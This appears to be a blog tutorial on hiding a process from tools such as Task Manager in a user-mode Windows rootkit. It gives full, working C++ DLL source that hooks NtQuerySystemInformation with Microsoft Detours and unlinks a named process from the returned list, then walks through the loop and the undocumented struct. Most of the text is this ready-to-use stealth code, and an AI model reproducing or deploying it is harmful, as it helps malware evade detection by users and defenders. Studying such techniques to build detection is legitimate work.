User Mode Rootkits - Process Hiding

If a user mode rootkit with no kernel component wants to hide itself from programs such as Task Manager or Process Explorer, it is possible to do so. Programs such as Task Manager will use the NtQuerySystemInformation API to retrieve a list of current processes.

A rootkit can scan the process list for programs such as Task Manager and make use of DLL injection or similar methods to hook said function. I will be presenting the code to do so, and explain how it works.

I have previously covered DLL injection and API hooking. Some of the data structures are not entirely documented but the developer of Process Hacker has made a lot of them available here.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
// dllmain.cpp : Defines the entry point for the DLL application.
#include "pch.h"

#include <cstdio>
#include <Windows.h>
#include <winternl.h>
#include <detours.h>

#pragma comment(lib, "ntdll.lib")
#pragma comment(lib, "detours.lib")

const wchar_t PROCESS_NAME[] = L"notepad.exe";

typedef NTSTATUS(__kernel_entry* NtQuerySystemInformationPtr) (
	SYSTEM_INFORMATION_CLASS SystemInformationClass,
	PVOID                    SystemInformation,
	ULONG                    SystemInformationLength,
	PULONG                   ReturnLength
	);

NtQuerySystemInformationPtr TrueNtQuerySystemInformation = nullptr;

NTSTATUS __kernel_entry  NtQuerySystemInformationHook(
	SYSTEM_INFORMATION_CLASS SystemInformationClass,
	PVOID                    SystemInformation,
	ULONG                    SystemInformationLength,
	PULONG                   ReturnLength
)
{
	const NTSTATUS status = TrueNtQuerySystemInformation(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);
	if (NT_SUCCESS(status))
	{
		if (SystemInformationClass == SystemProcessInformation)
		{
			auto current = static_cast<PSYSTEM_PROCESS_INFORMATION>(SystemInformation);
			auto next = reinterpret_cast<PSYSTEM_PROCESS_INFORMATION>(reinterpret_cast<LPBYTE>(current) + current->NextEntryOffset);
			while (current->NextEntryOffset)
			{
				if (wcscmp(next->ImageName.Buffer, PROCESS_NAME) == 0)
				{
					if (next->NextEntryOffset)
					{
						current->NextEntryOffset += next->NextEntryOffset;
					}
					else
					{
						current->NextEntryOffset = 0;
					}
					next = current;
				}
				current = next;
				next = reinterpret_cast<PSYSTEM_PROCESS_INFORMATION>(reinterpret_cast<LPBYTE>(current) + current->NextEntryOffset);
			}
		}
	}

	return status;
}

BOOL WINAPI DllMain(HINSTANCE, DWORD dwReason, LPVOID)
{
	if (DetourIsHelperProcess()) {
		return TRUE;
	}

	if (dwReason == DLL_PROCESS_ATTACH) {
		DetourRestoreAfterWith();
		TrueNtQuerySystemInformation = reinterpret_cast<NtQuerySystemInformationPtr>(GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQuerySystemInformation"));
		DetourTransactionBegin();
		DetourUpdateThread(GetCurrentThread());
		DetourAttach(&reinterpret_cast<PVOID&>(TrueNtQuerySystemInformation), NtQuerySystemInformationHook);
		DetourTransactionCommit();
	}
	else if (dwReason == DLL_PROCESS_DETACH) {
		DetourTransactionBegin();
		DetourUpdateThread(GetCurrentThread());
		DetourDetach(&reinterpret_cast<PVOID&>(TrueNtQuerySystemInformation), NtQuerySystemInformationHook);
		DetourTransactionCommit();
	}
	return TRUE;
}

For hooking, I am using Detours from Microsoft. The important part is NtQuerySystemInformationHook. The API can return several data structures, represented as an enum of SYSTEM_INFORMATION_CLASS.

We are only interested in SystemProcessInformation.

We start by calling the original API, and checking if it’s the data structure we are interested in. The list of processes is represented to us as a linked list.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
while (current->NextEntryOffset)
{
    if (wcscmp(next->ImageName.Buffer, PROCESS_NAME) == 0)
    {
        if (next->NextEntryOffset)
        {
            current->NextEntryOffset += next->NextEntryOffset;
        }
        else
        {
            current->NextEntryOffset = 0;
        }
        next = current;
    }
    current = next;
    next = reinterpret_cast<PSYSTEM_PROCESS_INFORMATION>(reinterpret_cast<LPBYTE>(current) + current->NextEntryOffset);
}

We iterate through each member, comparing ImageName of the next element with PROCESS_NAME. If a match exists, we will check whether this is the last element in the list, and if so, we simply set the current element’s NextEntryOffset to 0.

If this is not the last element, we will set the current element’s NextEntryOffset to its current offset, plus the offset of the next element, effectively skipping over it.

Doing this will remove our process (“notepad.exe” in this example) from the process list for the process we inject this DLL into.

The next element is obtained by adding our current element with NextEntryOffset. This is how process hiding can be done for user mode rootkits.

For reference, here is the complete SYSTEM_PROCESS_INFORMATION struct, courtesy of Process Hacker.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
typedef struct _SYSTEM_PROCESS_INFORMATION
{
    ULONG NextEntryOffset;
    ULONG NumberOfThreads;
    LARGE_INTEGER WorkingSetPrivateSize; // since VISTA
    ULONG HardFaultCount; // since WIN7
    ULONG NumberOfThreadsHighWatermark; // since WIN7
    ULONGLONG CycleTime; // since WIN7
    LARGE_INTEGER CreateTime;
    LARGE_INTEGER UserTime;
    LARGE_INTEGER KernelTime;
    UNICODE_STRING ImageName;
    KPRIORITY BasePriority;
    HANDLE UniqueProcessId;
    HANDLE InheritedFromUniqueProcessId;
    ULONG HandleCount;
    ULONG SessionId;
    ULONG_PTR UniqueProcessKey; // since VISTA (requires SystemExtendedProcessInformation)
    SIZE_T PeakVirtualSize;
    SIZE_T VirtualSize;
    ULONG PageFaultCount;
    SIZE_T PeakWorkingSetSize;
    SIZE_T WorkingSetSize;
    SIZE_T QuotaPeakPagedPoolUsage;
    SIZE_T QuotaPagedPoolUsage;
    SIZE_T QuotaPeakNonPagedPoolUsage;
    SIZE_T QuotaNonPagedPoolUsage;
    SIZE_T PagefileUsage;
    SIZE_T PeakPagefileUsage;
    SIZE_T PrivatePageCount;
    LARGE_INTEGER ReadOperationCount;
    LARGE_INTEGER WriteOperationCount;
    LARGE_INTEGER OtherOperationCount;
    LARGE_INTEGER ReadTransferCount;
    LARGE_INTEGER WriteTransferCount;
    LARGE_INTEGER OtherTransferCount;
    SYSTEM_THREAD_INFORMATION Threads[1]; // SystemProcessInformation
    // SYSTEM_EXTENDED_THREAD_INFORMATION Threads[1]; // SystemExtendedProcessinformation
    // SYSTEM_EXTENDED_THREAD_INFORMATION + SYSTEM_PROCESS_INFORMATION_EXTENSION // SystemFullProcessInformation
} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;
updatedupdated2023-03-192023-03-19